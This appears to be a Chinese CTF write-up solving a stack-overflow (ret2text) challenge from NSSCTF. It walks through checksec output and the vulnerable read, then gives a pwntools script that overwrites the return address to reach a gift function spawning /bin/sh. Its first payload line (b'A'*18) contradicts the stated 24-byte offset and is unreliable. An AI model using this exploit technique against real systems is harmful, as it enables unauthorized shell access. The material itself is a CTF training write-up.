从nssctf下载下来附件
使用checksec查看保护机制的开启

是一个amd64的程序
开启了栈不可执行保护和部分开启堆栈随机化,got表可写
进入main函数

发现vuln的函数
进入函数

发现声明了一个buf的字符串变量,离rbp的距离是0x10
返回的时候,read函数写入,最大值是0x64
这题是一个栈溢出
我们点了点发现在gift函数里面有可以执行/bin/sh的函数

我们查看他的返回地址
0x00000000004005B6
根据这题的代码分析


写入gift的地址
函数返回的时候会自动跳转到gift函数的位置
gift的函数里面

返回了一个交互式的/bin/sh
所以我们的payload就是
payload = b"A"*18 + p64(0x00000000004005B6) //0x00000000004005B6是gift的地址
所以我们的exp就是
from pwn import *
io = remote(ip,port)
elf = ELF("./one")
payload = cyclic(0x10+8) + p64(elf.sym["gift"])
io.sendline(payload)
io.interactive()
cyclic(0x10+8) 自动生成0x10+8个字节的垃圾数据,elf.sym["gift"],寻找gift函数在./one程序里面的地址
文章详细介绍了如何分析一个amd64程序,通过checksec检查了保护机制,发现栈不可执行和部分堆栈随机化。存在一个栈溢出漏洞,利用这个漏洞,可以写入gift函数的地址来执行/bin/sh。最终构造了payload并使用ELF库找到gift函数地址,远程发送payload以实现交互式shell。
1772

被折叠的 条评论
为什么被折叠?



